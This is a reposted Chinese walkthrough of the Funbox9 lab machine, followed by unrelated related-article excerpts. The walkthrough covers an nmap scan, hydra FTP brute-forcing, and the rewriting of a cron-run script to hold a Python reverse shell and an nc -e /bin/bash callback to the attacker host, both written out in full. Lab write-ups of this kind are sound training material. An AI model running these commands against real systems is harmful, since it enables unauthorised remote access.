通过nc获取靶机的反弹Shell [靶机实战]

1、环境

Kali:172.30.1.3/24

靶机(Funbox9):172.30.1.129/24


2、信息收集

通过nmap扫描此主机,我们需要获取到开放的端口以及服务的Banner

1 nmap -sV -T5 -A 172.30.1.129

 通过扫描我们发现,目标主机开放着21端口,服务Banner是 vsftpd 2.3.4,并且允许匿名登录


我们尝试ftp匿名连接此主机:

 根据其返回信息,我们发现了一个可能是一个本地用户的信息:sky用户,可以看到此用户是一个管理员


我们可以尝试对此用户进行ftp密码的爆破,看看能不能获取到其密码(可能无法成功):

1 hydra -l sky -P /usr/share/wordlists/rockyou.txt ftp://172.30.1.129

跑了一段时间后,这是最终的结果:

 sky用户的密码为thebest;我们尝试连接:

登录后我们发现,sky并没有被困在 chroot中:

 我们可以以此为突破点,搞一些别的事情,但这里我们试着通过nc建立一个反向shell

user.flag 文件 sky用户有着写与执行的权限

 将此文件下载后发现,这是一个脚本文件,再进行推理,很可能是一个由系统周期运行的脚本

所以我们可以重写此脚本,然后上传

 


考虑到一般这种系统的安全防护做的很高,所以此时我们直接通过 

nc -nv 172.30.1.3 -e /bin/bash

这种方法可能无法成功建立连接

于是我们使用以下方法来进行连接:

将此命令插入到脚本中,并且上传,这是一个通过python实现的反弹shell,更多方式大家可以去看这个网站:Online - Reverse Shell Generator (revshells.com)

export RHOST="172.30.1.3";export RPORT=25565;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("sh")'

 

 


 

 

随后,我们在本地监听25565端口,等待连接:

1 nc -lvnp 25565

 


 

靶机成功运行此脚本,证明我们的推理是正确的:

 最终,我们获取了 sarah 的shell

 


 

PS:

从渗透的角度来看,还可以通过 vsftpd 2.3.4 这个版本通过msf直接利用后门漏洞也是可以的

 

本文转载于网络 如有侵权请联系删除

相关文章

  • 谁将退出舞台,Gartner2021存储与数据保护技术成熟度曲线揭示了什么?

    近日,Gartner公布了2021存储和数据保护技术成熟度曲线。该成熟度曲线从业务影响、采用率和成熟度等方面对存储和数据保护技术进行了最新的评估。广大用户们可以通过最新的曲线了解到存储和数据保护技术发展的最新动态,以此构建更加具有适应性、可扩展性和高效的存储与数据保护平台,适应未来的业务发展需求。2021存储和数据保护技术成熟度曲线Gartner认为存储和数据保护市场正在不断发展:数据的指数级增长、技能需求的变化、业务的快速数字化和全球化、连接和收集一切的需求,以及数据隐私和主权法律的扩展,都要求存储平台和运营模式发生变化。对适应性强、健壮、可扩展、简单和高性能存储的需求正在上升。数据中心不再是数据的中心。 因此,存储应用趋势将产生显著变化:从核心数据中心的刚性设备交付演变为能够在边缘和公共云中实现混合云数据流的灵活存储平台。在本次报告中,Gartner评估了22项最相关的存储和数据保护技术,有一半以上准备在未来5到10年内成熟。与此同时,如果受到真正业务需求推动,有55%的技术有可能带来重大利益。此外,该报告只包含了当今用户最为相关的技术,例如容器原生存储、混合云存储等;Garnte

  • rxjava---demo

    io.reactivex.rxjava3 rxjava 3.0.3 io.projectreactor reactor-core 3.3.4.RELEASE io.projectreactor reactor-test 3.3.4.RELEASE test复制Observable.just("werd","ewr") .doOnNext(i->{ System.out.println("i="+i); }) //doOnXXX一般是用来组装的时候切入 .doOnCompleted(()->System.out.println("全部结束")) .doOnError(p->System.out.println("p="+p)) //subscribe里面的才是订阅者 .subscribe(newSubscriber(){ @Override publicvoidonCompleted(){ } @Override publicvoidonError(Thr

  • 只要五分钟,带你学会策略模式

    大家好,今天给大家介绍一个新的设计模式——策略模式。策略模式的内容非常简单,五分钟就可以学会。严格来说,这既可以当做是一种设计模式,也可以当做是一种函数式编程的思想。函数式编程我们之前在介绍Python的语言特性的时候,曾经提到过函数式编程。所谓的函数式编程,也就是说我们可以把函数也看成是变成,进行传参以及拷贝或者是赋值。听起来这个概念好像很黑科技,但实际上它由来很久,在C语言当中就有指向函数的指针,其实也是非常类似的概念。在Python当中最常用的把函数当做参数的例子应该就是lambda函数了。我们经常使用lambda函数来充当各种临时用途。arr=[3,4,5] arr=sorted(arr,key=lambdax:-x) 复制比如在上面的例子当中我们使用lambda函数来定义了排列的方法,这里的key接受的参数就是一个函数。除了排序以及其他操作之外,函数式编程还有一个经典的应用就是今天要说的策略模式。其实策略模式的意义非常简单,和排序是一样的。就是我们固定下来计算的步骤,但是每个步骤的具体操作细节我们不知道,通过函数传入。这样我们传入不同的函数,就可以执行不同的策略。举个栗子我们

  • 删除的微信聊天记录怎么恢复?原来这样解决问题

      删除的微信聊天记录怎么恢复?很多小伙伴都会遇到聊天记录被删除的问题,虽然不是自己特意删除的,也有可能是因为一些其他原因导致聊天记录删除的情况,有时候不得不将删除聊天记录进行恢复,那么想要将删除的聊天记录找回怎么办呢?删除的微信聊天记录怎么恢复?一:电脑微信恢复  此方法既是将备份在电脑上的聊天记录还原出来,若在电脑上登录微信并且备份过聊天记录那么就可以从里面的聊天记录中恢复想要的。  操作方法:登录到电脑微信后点击左下角的三杠后会有三个选项,点击【备份与恢复】后会弹出一个对话框,有过备份后点击“恢复聊天记录至手机”之后选择需要的聊天记录恢复即可。二:iTunes恢复  此方法类似于上一个方法都是需要有过备份才可以将删除的聊天记录恢复到手机里面,iTunes恢复需要在之前备份过即可恢复。  手机连接到电脑上打开iTunes进入备份页面找到里面的【恢复备份】即可从里面备份的数据中选择需要恢复的备份。不过iTunes是属于整机恢复,会覆盖了手机中原有的数据。所以此方法只适合新机使用。  删除的微信聊天记录怎么恢复?上面的这些方法你都学会了吗?学习正确的方法可以快速恢复手机数据,不过在手机

  • 大话设计模式笔记(二)——商品促销 策略模式

    版权声明:本文为博主原创文章,遵循CC4.0BY-SA版权协议,转载请附上原文出处链接和本声明。本文链接:https://blog.csdn.net/luo4105/article/details/76542977第二章商品促销——策略模式需求:商品价格计算,并增加折扣条件工厂模式UML图在工厂模式中,调用端代码会通过折扣工厂类生成折扣对象,折扣对象调用折扣方法。这里关联了两个类,工厂类和抽象折扣类。策略模式UML图在策略模式中,会在策略环境类的构造器中完成折扣类的初始话,并在策略环境的实现方法调用折扣类的折扣算法。这样调用类只会关联策略环境类。简单工厂模式需要的是生成的对象,所以在客户端代码中会存在工厂类和生成类,而策略模式关注的是相应算法,它并不关注算法类对象,所以在客户端代码中只会存在context环境类。这样降低代码耦合度。代码ContextpublicclassSaleContext{ privateSaleStrategysaleStrategy=null; publicSaleContext(StringsaleSelector){ switch(saleSelect

  • ThreadPoolExecutor线程池解析及Executor创建线程常见四种方式

    前言:在刚学Java并发的时候基本上第一个demo都会写newThread来创建线程。但是随着学的深入之后发现基本上都是使用线程池来直接获取线程。那么为什么会有这样的情况发生呢?newThread和线程池的比较每次newThread是新建了线程对象,并且不能重复使用,为什么不能重复使用?因为new是相当于在内存中独立开辟一个内存来让该线程运行,所以只能释放线程资源和新建线程,性能差。而使用线程池,可以重复使用存在的线程,减少对象的创建,消亡的开销,性能较好线程缺乏统一管理,可能无限制的新建线程,相互竞争,有可能占用过多的系统资源导致死机或者抛出OutOfMemoryError。而使用线程池可以有效控制最大并发线程数,提高系统资源利用率,同时避免过多资源竞争,避免阻塞同时newThread,当我们需要定期执行,更多执行,线程中断等等使用Thread操作起来非常的繁琐。线程池则提供定时执行,定期执行,单线程,并发控制等功能,让我们操作线程起来特别方便ThreadPoolExecutor如何创建对象在这里介绍的是JUC包下的ThreadPoolExecutor线程池,这个线程池里有4个构造方

  • iOS 泛型 ObjectType 协变 __covariant 逆变 __contravariant

    泛型使用场景:在集合(数组、字典、NSSet)中使用泛型比较常见。当声明一个类,类里面的某些属性的类型不确定,这时候我们才使用泛型。泛型书写规范 在类型后面定义泛型:NSMutableArray<UITouch*>*datas复制泛型好处:提高开发规范,减少程序员之间交流通过集合取出来对象,直接当做泛型对象使用,可以直接使用点语法。__covariant(协变):用于泛型数据强转类型,可以向上强转,子类可以转成父类。 __contravariant(逆变):用于泛型数据强转类型,可以向下强转,父类可以转成子类。例如://__covariant协变,子类转父类;泛型名字是ObjectType @interfacePerson<__covariantObjectType>:NSObject //语言 @property(nonatomic,strong)ObjectTypelanguage; @end @interfaceLanguage:NSObject @end @interfaceJava:Language @end @interfaceiOS:

  • iOS多线程编程之二——NSOperation与NSOperationQueue

    iOS多线程编程之二——NSOperation与NSOperationQueue一、NSOperation解析NSOperation是基于Object-C封装的一套管理与执行线程操作的类。这个类是一个抽象类,通常情况下,我们会使用NSInvocationOperation和NSBlockOperation这两个子类进行多线程的开发,当然我们也可以写继承于NSOperation的类,封装我们自己的操作类。1、NSOperation抽象类中提供的逻辑方法操作开始执行- (void)start;复制在子类中可以重写这个方法,实现执行的方法- (void)main;复制取消执行- (void)cancel;复制获取当操作状态的几个属性@property (readonly, getter=isCancelled) BOOL cancelled;//当前操作是否取消执行 @property (readonly, getter=isExecuting) BOOL executing;//当前操作是否正在执行 @property (readonly, getter=isFinished) BOOL 

  • 习题16:读写文件

    文件相关的命令(方法/函数),常用的命令如下close---关闭文件,跟你编辑器的文件-->保存...一个意思read---读取文件内容,你可以把结果赋给一个变量readline---读取文本文件中的一行truncate---清空文件,请小心使用该命令write(stuff)---将stuff写入文件write需要接收一个字符串作为参数,从而将该字符串写入文件使用这些命令做一个简单的文本编辑器吧练习代码# coding: utf-8 __author__ = 'www.py3study.com' from sys import argv script, filename = argv print("We're going to erase {}.".format(filename)) print("If you don't want that,hit CTRL-C (^C)") print("If you do want that, hit RETURN.") input(&quo

  • 给Linux小白看的命令行极简教程

    1、命令行真的好吗程序员的使命维基百科的解释:命令行界面(英语:command-lineinterface,缩写:CLI)是在图形用户界面得到普及之前使用最为广泛的用户界面,它通常不支持鼠标,用户通过键盘输入指令,计算机接收到指令后,予以执行。也有人称之为字符用户界面(CUI)。也有人这样说:熟练使用命令行是一种常常被忽视,或被认为难以掌握的技能,但实际上,它会提高你作为工程师的灵活性以及生产力个人观点:有看到不同行业的人在评论区各种互撕,那到底用命令行是好还是不好呢..其实我觉得有时候花时间纠结这些问题是没有意义的,你觉得有用就学,不看好它就不看了呗,等哪天你发现它的好了,打心里想学了就去学呗,学习这东西,只要你愿意开始,什么时候都不晚。任何东西都没有绝对的说法,要看使用的场合,常说水能载舟,它亦能覆舟。我自己会的命令行也不是很多,但真的打心里羡慕那些把命令行用的很溜的大牛们,也在学习着熟悉大部分命令行,因为我觉得至少现在对我来说,它是极好的。你是否注意到,在电影中一个“超级黑客”坐在电脑前,从不摸一下鼠标,就能够在30秒内侵入到超安全的军事计算机中。这是因为电影制片人意识到,作为人

  • 深入浅出介绍:GAN的基本原理与入门应用!

    如果你觉得好的话,不妨分享到朋友圈。摘要:生成对抗网络(GAN)是一类在无监督学习中使用的神经网络,其有助于解决按文本生成图像、提高图片分辨率、药物匹配、检索特定模式的图片等任务。Statsbot小组邀请数据科学家AntonKarazeev通过日常生活实例深入浅出地介绍GAN原理及其应用。 生成对抗网络由IanGoodfellow于2014年提出。GAN不是神经网络应用在无监督学习中的唯一途径,还有玻尔兹曼机(GeoffreyHinton和TerrySejnowski,1985)和自动解码器(DanaH.Ballard,1987)。三者皆致力于通过学习恒等函数f(x)=x从数据中提取特征,且都依赖马尔可夫链来训练或生成样本。 GAN设计之初衷就是避免使用马尔可夫链,因为后者的计算成本很高。相对于玻尔兹曼机的另一个优点是GAN的限制要少得多(只有几个概率分布适用于马尔可夫链抽样)。在本文中,我们将讲述GAN的基本原理及最流行的现实应用。一、GAN原理:让我们用一个比喻解释GAN的原理吧。假设你想买块好表。但是从未买过表的你很可能难辨真假;买表的经验可以免被奸商欺骗。当你开始将大多数手表标

  • Pytorch 0.3.0 发布:新增张量函数,支持模型移植

    根据官方文档的介绍,此次增加了多个函数和功能,多方面的性能均实现提升。重大变更0.3版本中删掉了Variable.reinforce()等随机函数,因为它们的功能有限,并且会影响到性能。设置随机函数的初衷是为了避免采样值的book-keeping,在实际中,由于各种各样的原因,用户的代码中仍然会包括book-keeping。他们引入了torch.distributions包来代替随机函数。之前的代码如下:probs=policy_network(state) action=probs.multinomial() next_state,reward=env.step(action) action.reinforce(reward) action.backward()复制现在的代码如下:probs=policy_network(state) #NOTE:categoricalisequivalenttowhatusedtobecalledmultinomial m=torch.distributions.Categorical(probs) action=m.sample() next_s

  • Nginx架构初探(值得细品的长篇好文)

    众所周知,nginx性能高,而nginx的高性能与其架构是分不开的。那么nginx究竟是怎么样的呢?这一节我们先来初识一下nginx框架吧。nginx在启动后,在unix系统中会以daemon的方式在后台运行,后台进程包含一个master进程和多个worker进程。我们也可以手动地关掉后台模式,让nginx在前台运行,并且通过配置让nginx取消master进程,从而可以使nginx以单进程方式运行。很显然,生产环境下我们肯定不会这么做,所以关闭后台模式,一般是用来调试用的,在后面的章节里面,我们会详细地讲解如何调试nginx。所以,我们可以看到,nginx是以多进程的方式来工作的,当然nginx也是支持多线程的方式的,只是我们主流的方式还是多进程的方式,也是nginx的默认方式。nginx采用多进程的方式有诸多好处,所以我就主要讲解nginx的多进程模式吧。刚才讲到,nginx在启动后,会有一个master进程和多个worker进程。master进程主要用来管理worker进程,包含:接收来自外界的信号,向各worker进程发送信号,监控worker进程的运行状态,当worker进程

  • 腾讯云腾讯觅影开放实验平台产品概述

    腾讯觅影开放实验平台是基于腾讯云的安全存储与强大算力的一站式医学人工智能开放创新服务平台。它能满足各类医学影像数据的安全管理和高效标注,内置近百种临床常用算法模型,加速临床影像科研和产品研发,助力医学人工智能产学研创新合作与成果转化。 产品优势作为腾讯觅影人工智能产品的完整生产线,“腾讯觅影·开放实验平台”集成了腾讯觅影研发过程的所有优势能力,结合腾讯在云计算、云存储、云网络、大数据、人工智能等方面的多年技术积累,将腾讯觅影人工智能研发生产线,以整体能力立体化输出,助力医疗机构、科研院校、科创企业在医学人工智能领域的合作创新,具有四大优势: 数据授权使用,避免额外使用。 减免构建数据管理、标注能力。 减少硬件的一次性投入。 更加便捷的项目触及能力。

  • Swift中Data,String,[UInt8]的相互转换(6种互相转换)

    1vardata=Data() 2vararray=[UInt8]() 3varstr="" 4 5//Data[UInt8] 6data.append(10) 7array=[UInt8](data) 8print(array)//[10] 9 10//[UInt8]转Data 11array=[1,2,3,4,5] 12data=Data(array) 13print(data.count)//5 14 15//Data转String 16data.removeAll() 17data.append(contentsOf:[0x31,0x32,0x33]) 18str=String(data:data,encoding:.utf8)! 19print(str) 20 21//String转Data 22str="world" 23data=str.data(using:.utf8)! 24print(data.count)//5 25 26//String转[UInt8] 27str="hello" 28array=[UInt8](str.utf8) 29print(array)/

  • 2020年最后一次软工作业

         阅读完软件工程师职业道德规范和实践要求之后,才了解到软件工程师有很多职业道德规范需要去遵循。在规范中一共有9个板块,分别是守则、对于公众的原则、对于客户和雇主的原则、对于产品的原则、对于判断的原则、对于管理的原则、对于专业的原则、对于同行的原则以及对于自身的原则。从这九个板块中我能够感觉出作为一个软件工程师在不同时间作为不同角色即要承担其角色的责任。而在阅读完这篇守则谈谈我自己对于成为一名优秀的软件工程师的看法吧。      我认为作为一名软件工程师首先要遵纪守法,遵守职业规范,不做损人利己的事情。其次要逐渐提升自己的能力,时不时要充下电,对于前辈的教导,同行的指正都要积极面对,有则改之无则加勉。在团队中要和其他团队成员和睦相处,合则两利,不做损害团队的行为,不做损害团队关系的行为。最后我们作为软件工程师,对于我们制作的软件来说要满足客户的要求,对用户负责,并且能够促进社会积极发展的软件,要为社会作贡献,不做一些损害他人利益,违法违规的软件。要对得起自己的这份职业,不给自己的职

  • Windows下Julia安装与上手

    (1)Julia的安装很简单。在官网https://julialang.org/下载exe直接安装即可。 (2)运行方法:   (2.1)点击Julia图标,打开所谓的REPL界面(其实就是Julia自己的命令行),像Matlab一样使用。      (2.2)用任意文本编辑器创建一个源代码文件test.jl(注意后缀是.jl)。在REPL中用include命令运行,注意路径层级用\\代替\。      (2.3)用Windows命令行执行,前提是先将julia.exe路径加入环境变量path里。    (3)最后还有一个叫JuliaPro的IDE,可以单独用,也可以与VSCode集成。待补充。                      

  • SqlServer导入数据到MySql

    1.下载MySqlODBCDriver并进行安装。例如我下载的这个安装包是mysql-connector-odbc-5.1.6-win32.msi。 2.装完后,添加odbc数据源: 3.在sqlservermanagementstudio里,选择一个数据库,右键,然后导出数据,在导出目标那里选择.NetFrameworkDataProviderforOdbc,配置好dsn为上一步建立的数据源名称,Driver里面填MySQLODBC5.1Driver,然后ConnectString会自动填充: 4.下一步就可以选择要导出的表了,最后点完成,执行数据导出。 5.导出的过程中很可能会报错,很可能是MySql不识别什么引号,解决办法是在MySql里运行下面的语句:setglobalsql_mode=ansi_quotes,如下图: 6.执行成功后,重复再做一次第4步。 愿你一切顺利。 作者:明年我18 出处:http://www.cnblogs.com/default 本文版权归作者所有,欢迎转载,但未经作者同意必须保留此段声明,且在文章页面明显位置给出原文链接

  • Django分页器组建

    classPagination(object): def__init__(self,current_page,all_count,per_page_num=2,pager_count=11): """ 封装分页相关数据 :paramcurrent_page:当前页 :paramall_count:数据库中的数据总条数 :paramper_page_num:每页显示的数据条数 :parampager_count:最多显示的页码个数 用法: queryset=model.objects.all() page_obj=Pagination(current_page,all_count) page_data=queryset[page_obj.start:page_obj.end] 获取数据用page_data而不再使用原始的queryset 获取前端分页样式用page_obj.page_html """ try: current_page=int(current_page) exceptExceptionase: current_page=1 ifcurrent_page<1: c

  • 【js】vue 2.5.1 源码学习 (十一) 模板编译compileToFunctions渲染函数

    大体思路(九) 本节内容: 1.compileToFunctions定位 11.compileToFunctions定位 2==>createCompiler=createCompilerCreator(functionbeasCompile(){})//创建编译器的编译器编译器的爷爷。 3==>beasOptions编译器默认预留选项 4==>createCompiler(beasOptions)创建一个编译器。返回一个对象 5==>{compile:function{},conpileToFunctions:function{}} 6==>compileToFunctions(template,{用户配置和兼容},this) 7==>createCompilerCreator(beasCompile){ 8returnfunctioncreateCompiler(beasOptions){ 9functioncompiler(template,options){ 10//编译器核心方法 11} 12return{ 13compile:comp

  • Promise和setTimeout执行顺序

    1、示例 <!DOCTYPEhtml> <htmllang="zh"> <head> <metacharset="UTF-8"/> <metaname="viewport"content="width=device-width,initial-scale=1.0"/> <metahttp-equiv="X-UA-Compatible"content="ie=edge"/> <title>Promise和setTimeout执行顺序面试题</title> </head> <body> <scripttype="text/javascript"> setTimeout(function(){ console.log(1) },0); newPromise(function(a,b){ console.log(2); for(vari=0;i<10;i++){ i==9&&a(); } console.log(3); }).then(

相关推荐

推荐阅读